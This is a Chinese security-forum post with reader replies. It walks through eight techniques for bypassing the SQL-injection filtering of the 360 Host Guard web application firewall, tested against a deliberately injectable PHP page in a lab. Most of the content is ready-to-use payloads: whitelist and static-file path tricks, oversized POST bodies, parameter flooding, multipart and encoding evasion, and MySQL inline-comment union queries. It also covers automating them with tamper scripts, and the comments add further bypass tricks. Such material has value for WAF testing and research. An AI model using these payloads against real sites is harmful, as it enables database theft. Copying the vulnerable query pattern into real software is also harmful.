Bypass 360主机卫士SQL注入防御（多姿势）
0x00 前言
上一篇文章 《Bypass ngx_lua_waf SQL注入防御（多姿势） 》有幸被管理加精，激发了我做技术分享的热情。
这里立个flag，如果这一篇文章也有幸被加精，就努力多找几款WAF，写成一个Bypass系列，彻底贯彻我的id。
在服务器客户端领域，曾经出现过一款360主机卫士，目前已停止更新和维护，官网都打不开了，但服务器中依然经常可以看到它的身影。
从半年前测试的虚拟机里面，翻出了360主机卫士Apache版的安装包，就当做是一个纪念版吧。
这边主要分享一下几种思路，Bypass 360主机卫士SQL注入防御。
0x01 环境搭建
360主机卫士官网：http://zhuji.360.cn
软件版本：360主机卫士Apache 纪念版
测试环境：phpStudy
本地构造SQL注入点：
$id=$_REQUEST['id'];
$query = "SELECT * FROM admin WHERE id = $id ";
0x02 WAF测试
因zhuji.360.cn站点已关闭，拦截界面为空白，抓包先放一张拦截图：
姿势一：网站后台白名单
在360主机卫士客户端设置中存在默认网站后台白名单，如图：
利用PHP中的PATH_INFO问题，随便挑选一个白名单加在后面，可成功bypass。
/test.php/admin?id=1 union select 1,2,schema_name from information_schema.SCHEMATA
姿势二：静态资源
当文件后缀名为js、jpg、png等静态资源后缀请求，类似白名单机制，waf为了检测效率，直接略过这样一些静态资源文件名后缀的请求。
/test.php/1.png?id=1 union select 1,2,schema_name from information_schema.SCHEMATA
姿势三：缓冲区溢出
当Post大包时，WAF在处理测试向量时超出了其缓冲区长度，超过检测内容长度将会直接Bypass，如果正常用户上传一些比较大的文件，WAF每个都检测的话，性能就会被耗光。
基于这些考虑，POST 大包溢出的思路可成功Bypass。
http://192.168.204.128/test.php
POST：id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select 1,2,schema_name from information_schema.SCHEMATA
姿势四：uri参数溢出
这种溢出的形式，我称它为uri参数溢出。比如某WAF，默认情况下只能获取前100个参数进行检测，当提交第101个参数时，那么，将无法对攻击者提交的第100个以后的参数进行有效安全检测，从而绕过安全防御。
经测试，当提交的参数个数超过97个，可进行union select 查询，再增加对关键字from的绕过，可成功Bypass。
http://192.168.204.128/test.php
POST：id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1 union select 1,2,schema_name %0a/*!from*/information_schema.SCHEMATA
姿势五：GET+POST
一个历史久远的逻辑问题了，当同时提交GET、POST请求时，进入POST逻辑，而忽略了GET请求的有害参数输入,可轻易Bypass。
/test.php?id=1 union select 1,2,schema_name from information_schema.SCHEMATA
POST：aaa
姿势六：multipart/form-data格式
将Post、Get数据包转为上传multipart/form-data格式数据包，利用协议解析的差异，从而绕过SQL防御。
------WebKitFormBoundaryACZoaLJJzUwc4hYM
Content-Disposition: form-data; name="id"
1 union /*!select*/ 1,2,schema_name【这里使用Enter换行】
from information_schema.SCHEMATA
------WebKitFormBoundaryACZoaLJJzUwc4hYM--
如果转换数据包进行绕过呢？ 首先，新建一个html页面：
<html>
<head></head>
<body>
<form action="http://192.168.204.128/test.php" method="post" enctype="multipart/form-data">
<input type="text" name="id">
<input type="submit">
</form>
</body>
</html>
然后，在浏览器打开并在输入框中输入参数，抓包发送到Repeater，进一步构造Payload获取数据。
姿势七：编码绕过
客户端对Payload进行编码，服务端能够自动进行解码，这时候就考验WAF的编码解码能力了，如果WAF不能进行有效解码还原攻击向量，可能导致绕过，常见编码如URL编码、unicode编码（IIS）、宽字节编码等。
这个地方虽然URL编码也能绕过获取数据，主要是因为WAF对POST的防御规则太过于松散，union select 随便绕，select from 用%0a就可以解决，主要分享一下编码绕过的思路。
/test.php?id=1
POST：id=1 %55nion %53elect/*!1,2,schema_name %0aFROM information_schema.SCHEMATA*/
姿势八：%0a+内联注释
利用Mysql数据库的一些特性，绕过WAF的防御规则，最终在数据库中成功执行了SQL，获取数据。
http://192.168.204.128/test.php
POST：id=1 union%0a/*!12345select*/ 1,2,schema_name%0a/*!12345from*/information_schema.SCHEMATA
0x03 自动化Bypass
当测试出绕过WAF SQL注入防御的技巧后，可通过编写tamper脚本实现自动化注入。
以姿势八：%0a+内联注释为例，主要是针对union select from等关键字替换，Payload中的部分关键字可能会被waf拦截，需要一步步调试，测试，总结规律。
tamper脚本：
加载tamper脚本，可成功获取数据
这边也分享一下，另一个比较简单的自动化注入的方法，就是使用超级SQL注入工具，利用这边提供的注入绕过模块，结合日志中心的测试记录，可以很方便的进行调试，然后保存绕过模板，方便下次调用。
利用前面的关键字符进行替换，自动化注入获取数据库数据：
0x04 END
分享了几种有意思的绕过思路，主要利用了WAF层的逻辑问题，数据库层的一些特性，服务器层编码解析、参数获取的差异。其中借鉴和学习了不少前辈们的思路，受益匪浅。
学习，沉淀，总结，分享，周而复始。欢迎各位大佬前来探讨。
自评TCV：1
关于作者
评论45次
哈哈，一直在用cnblog做笔记，很乱，没想也有人关注。很简单的几条正则，就可以让union select 绝望。我前阵子写了一篇《Bypass ngx_lua_waf SQL注入防御（多姿势）》https://www.t00ls.com/thread-45736-1-1.html就是绕不过正则，然后采用一些另类思路的绕过，你可以参考一下，可能有所启发。
回复 28# [i 嘿嘿，
很久就关注了，当时也是过360，然后发现select{x schema_name}from这个神器，哎呀，什么时候才能像楼主这么优秀自己挖掘姿势
url参数溢出的问题，确实要结合HPP参数污染来利用，不过你说的只是PHP的情况，还有其他的利用方式：1、添加无效参数：比如，?a=1&a=2....(100个无效参数)&id=1 union select 1,2,3 这也是一种考虑2、另外在MSSQL+ASP/ASPX的话，可以考虑用/**/,进行前后闭合。。比如?id=1 union/*&id=*/select/*&id=*/1,2,3
我不得不说一下。深藏我日记本里面的，就这么被披露了。那是16年的事了，当时搞东西遇到了360主机卫士，有IIS版本，有apache版本。我只bypass了apache的这个版本。IIS没bypass过去。当时就做了一下记录日记。没分享是我的错。那我也借你的地盘，献丑一下吧。方法都一样。但你后面讲的方法都很好。非常感谢你的分享。我敬佩你的精神。环境：windows+php+mysql5.5+Apache经过常时间测试了所有相关绕过，最后还是要自软件自身漏洞攻破。自网站后台白名单绕过方法。好像不用白名单也可以绕过，在post提交随意输入一个目录或是白名单存在的目录。/id=5/xixi/id=5
牛逼啊马飞飞
收藏了，还没碰到这个卫士
之前遇到都是FUZZ脚本跑一下，楼主又分享了好几种骚姿势，感谢分享。
实实在在的干货，收藏了。感谢分享